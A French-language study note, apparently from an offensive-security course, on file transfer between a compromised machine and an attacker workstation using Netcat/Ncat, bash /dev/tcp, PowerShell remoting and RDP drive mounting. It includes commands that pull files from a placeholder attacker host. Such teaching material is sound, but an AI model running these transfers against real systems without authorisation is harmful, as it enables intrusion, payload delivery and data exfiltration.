Miscellaneous File Transfer Methods
🧠 Introduction
Dans cette section, nous allons explorer des méthodes alternatives de transfert de fichiers, utiles lorsque les approches classiques ne sont pas disponibles ou bloquées. Il s'agit notamment de l'utilisation de Netcat (nc), Ncat, des sessions PowerShell (WinRM), et du protocole RDP. Ces méthodes permettent de transférer des fichiers entre une machine compromise et un poste de travail d'attaque dans divers contextes, comme les environnements contraints par des pare-feux ou sans accès HTTP/SMB.
⚙️ Comment ça marche ?
Transfert de fichiers avec Netcat et Ncat
Netcat (nc) est un utilitaire réseau permettant d'établir des connexions TCP ou UDP. Il peut être utilisé pour lire ou écrire des données à travers le réseau. Ncat est une version modernisée par le projet Nmap, prenant en charge SSL, IPv6, proxys SOCKS/HTTP, etc.
Exemple : Transfert depuis vers
Sur la machine cible :
# Avec Netcat (original)
nc -l -p 8000 > fichier.exe
# Avec Ncat
ncat -l -p 8000 --recv-only > fichier.exe
Sur la machine d'attaque :
# Télécharger un fichier exemple
wget -q https://exemple.com/fichier.exe
# Avec Netcat
nc -q 0 <IP CIBLE> 8000 < fichier.exe
# Avec Ncat
ncat --send-only <IP CIBLE> 8000 < fichier.exe
Sens inverse (machine cible se connecte à l’attaquant)
Sur la machine d'attaque :
sudo nc -l -p 443 -q 0 < fichier.exe
sudo ncat -l -p 443 --send-only < fichier.exe
Sur la machine cible :
nc <IP ATTAQUANT> 443 > fichier.exe
ncat <IP ATTAQUANT> 443 --recv-only > fichier.exe
Méthode alternative : /dev/tcp (via bash)
cat < /dev/tcp/<IP ATTAQUANT>/443 > fichier.exe
Transfert via PowerShell Remoting (WinRM)
PowerShell Remoting permet d'exécuter des commandes sur une machine distante. Il utilise les ports TCP 5985 (HTTP) ou 5986 (HTTPS). Cette méthode fonctionne si l'utilisateur dispose de privilèges suffisants.
Exemple de session entre DC01 et DATABASE01
Vérifier la connectivité :
Test-NetConnection -ComputerName <IP CIBLE> -Port 5985
Créer une session distante :
$Session = New-PSSession -ComputerName <IP CIBLE>
Transfert de fichier :
Copy-Item -Path C:\source.txt -ToSession $Session -Destination C:\Users\Admin\Desktop\
Copy-Item -Path "C:\Users\Admin\Desktop\file.txt" -FromSession $Session -Destination C:\
Transfert via RDP (Remote Desktop Protocol)
Lors d'une session RDP, un transfert de fichier est possible par simple copier-coller ou via le montage de répertoires locaux.
Depuis Linux, utiliser rdesktop ou xfreerdp :
rdesktop <IP CIBLE> -u administrateur -p 'motdepasse' -r disk:linux='/home/user/files'
xfreerdp /v:<IP CIBLE> /u:administrateur /p:'motdepasse' /drive:linux,/home/user/files
Sur Windows, avec mstsc.exe, monter un lecteur local via les "Ressources locales".
🚨 Risques & vulnérabilités
Netcat/Ncat peuvent être utilisés pour contourner des pare-feux ou exfiltrer des données sans chiffrement.
PowerShell Remoting mal configuré peut permettre l'exécution distante non autorisée.
Le protocole RDP est souvent ciblé pour des attaques par force brute ou rebond RDP.
Les transferts via /dev/tcp ne sont pas sécurisés (aucun chiffrement ni authentification).
🛠️ Outils & commandes utiles
Netcat / Ncat (Linux & Windows)
PowerShell (cmdlets : Copy-Item, New-PSSession, Test-NetConnection)
rdesktop / xfreerdp (Linux)
mstsc.exe (Windows)
Bash : /dev/tcp/host/port
📚 Ressources utiles
Mis à jour